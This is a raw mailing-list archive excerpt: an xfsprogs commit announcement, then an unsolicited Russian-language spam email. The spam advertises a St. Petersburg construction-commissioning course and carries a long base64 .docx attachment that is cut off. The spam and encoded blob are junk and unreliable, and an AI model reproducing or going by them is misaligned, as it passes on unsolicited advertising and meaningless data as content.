KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, The xfsprogs repository at git://oss.sgi.com/xfs/cmds/xfsprogs has just been updated. The new head of the master branch is commit: 6e79202 metadump: fully support discontiguous directory blocks New Commits: Dave Chinner (9): [aaca101] xfs_repair: add support for validating dirent ftype field [7e3ab89] libxfs: add a flags field to libxfs_getbuf_map [6d5e5ee] libxfs: remove map from libxfs_readbufr_map [dd9093d] xfs_repair: fix discontiguous directory block support [878afc6] metadump: sanitise write_buf/index return values [1516a5b] metadump: support writing discontiguous io cursors [d452ae4] metadump: separate single block objects from multiblock objects [ed73748] metadump: walk single fsb objects a block at a time [6e79202] metadump: fully support discontiguous directory blocks Code Diffstat: db/io.c | 4 +- db/metadump.c | 573 ++++++++++++++++++++++++++++++--------------------- include/libxfs.h | 11 +- include/xfs_dir2.h | 3 + libxfs/rdwr.c | 27 +-- libxfs/trans.c | 4 +- libxfs/xfs_dir2.c | 16 ++ repair/dino_chunks.c | 11 + repair/incore.h | 27 ++- repair/incore_ino.c | 30 ++- repair/phase6.c | 246 +++++++++++++++------- repair/prefetch.c | 120 +++++++++-- repair/scan.c | 4 +- 13 files changed, 710 insertions(+), 366 deletions(-) -- Dave Chinner david@fromorbit.com From tadog@communicore.com Mon Feb 3 19:03:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D2F27F59 for ; Mon, 3 Feb 2014 19:03:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2BC7F8F8037 for ; Mon, 3 Feb 2014 17:03:50 -0800 (PST) X-ASG-Debug-ID: 1391475825-04cbb00c2acd9d0001-NocioJ Received: from c13.ruskyhost.com (c13.ruskyhost.com [38.126.172.13]) by cuda.sgi.com with ESMTP id 1ApbvGQ8eg6RuSGP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 17:03:45 -0800 (PST) X-Barracuda-Envelope-From: tadog@communicore.com X-Barracuda-Apparent-Source-IP: 38.126.172.13 Received: from [222.73.93.153] (port=44388 helo=Unknown) by c13.ruskyhost.com with esmtpa (Exim 4.80) (envelope-from ) id 1WAUQM-002wx8-5p; Tue, 04 Feb 2014 05:03:42 +0400 Message-ID: <09AE6D07F6814E86B1A9B227672C7DE9@iqmmzz> Reply-To: =?windows-1251?B?4+vg4u376SDx7+X26ODr6PHyIO/uIO/w4OLu?= =?windows-1251?B?4vvsIOLu7/Du8eDs?= From: =?windows-1251?B?4+vg4u376SDx7+X26ODr6PHyIO/uIO/w4OLu?= =?windows-1251?B?4vvsIOLu7/Du8eDs?= To: , , , Subject: =?windows-1251?B?7uH54P8g9eDw4Ory5fDo8fLo6uAg5O7j7uLu?= =?windows-1251?B?8O379SDu8u3u+OXt6Okg4iDx8vDu6PLl6/zx?= =?windows-1251?B?8uLl?= Date: Tue, 4 Feb 2014 02:03:42 +0100 X-ASG-Orig-Subj: =?windows-1251?B?7uH54P8g9eDw4Ory5fDo8fLo6uAg5O7j7uLu?= =?windows-1251?B?8O379SDu8u3u+OXt6Okg4iDx8vDu6PLl6/zx?= =?windows-1251?B?8uLl?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_209E_01CF214D.54483350" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - c13.ruskyhost.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - communicore.com X-Get-Message-Sender-Via: c13.ruskyhost.com: authenticated_id: aklimova@mauocsp.ru X-Barracuda-Connect: c13.ruskyhost.com[38.126.172.13] X-Barracuda-Start-Time: 1391475825 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144807 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_209E_01CF214D.54483350 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =ED=E0= =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2 =CF=C5= =D2=C5=D0=C1=D3=D0=C3=C5, =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9 =F1=EB=EE=E6=ED= =FB=EC =E2=EE=EF=F0=EE=F1=E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=E4=E0=F7=E8= =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=E0: =C4=E0=F2=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =FF: =F1 lO =EF=EE Il =F4=E5=E2=F0=E0=EB=FF. =D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3=EA=F6= =E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=FA= =E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0= =F2=E5=EB=FC=ED=FB=E5 =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2= =EA=E8, =E2=EE=E7=EC=EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8 =F2=EE=ED=EA=EE=F1=F2=E8.=20 =D2=E5=EB=E5=F4=EE=ED: 8 8l2 98.7 * 8=E7 - I7 =CF=F0=EE=E3=F0=E0=EC=EC=E0 =EA=F3=F0=F1=E0 =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8= . ------=_NextPart_000_209E_01CF214D.54483350 Content-Type: application/octet-stream; name="vks.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="vks.docx" UEsDBBQABgAIAAAAIQBruNnWrQEAAJsHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lU1P4zAQhu9I/IfI11Xisge0Qk05AHtckLarPbv2pLWIP+SZAv33TJo2AtTi8tFLpGQ87/t47MyM L59cWzxAQht8Lc6qkSjA62Csn9fi3/R3+UsUSMob1QYPtVgBisvJ6cl4uoqABWd7rMWCKF5IiXoB TmEVIniONCE5Rfya5jIqfa/mIH+ORudSB0/gqaROQ0zG19CoZUvFzRN/7kkStCiKq35h51ULFWNr tSImlQ/evHEpNw4VZ67X4MJG/MEYQu506CL7DTZ5t1yaZA0UdyrRH+UYQz6GZKQJeul4D9X7Mjs4 Q9NYDUN+pxZT0IDINXdtNUScsn7Lv5fDL90MEmd+P8ggnYVAWrWA30/Q6x5o/9/S4qZpQPONyx+K w7KrfNVbvMjNuwER1/sQk9f/QZk7edwoZxEeYfb3aBQvxLMgTQjkAx3j7AfpLAR4cySGrXIWoYOF dHbAvfvgleiFD/D3NFWzFo5BsJHOQhA3f5Dr59crsZZ5z5Lb5F0KEXmYpE9sezstuuyS+2+ERBaG ebGr3w6OPIi+XGfoRp0Bs8Nbrkfr5BkAAP//AwBQSwMEFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsA CAJfcmVscy8ucmVscyCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMkttKA0EMhu8F32HIfTfbCiLS2d5IoXci6wOEmewBdw7MpNq+ vaMgulDbXub058tP1puDm9Q7pzwGr2FZ1aDYm2BH32t4bbeLB1BZyFuagmcNR86waW5v1i88kZSh PIwxq6Lis4ZBJD4iZjOwo1yFyL5UupAcSQlTj5HMG/WMq7q+x/RXA5qZptpZDWln70C1x1g2X9YO XTcafgpm79jLiRXIB2Fv2S5iKmxJxnKNain1LBpsMM8lnZFirAo24Gmi1fVE/1+LjoUsCaEJic/z fHWcA1peD3TZonnHrzsfIVksFn17+0ODsy9oPgEAAP//AwBQSwMEFAAGAAgAAAAhAEg23qNbAQAA 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 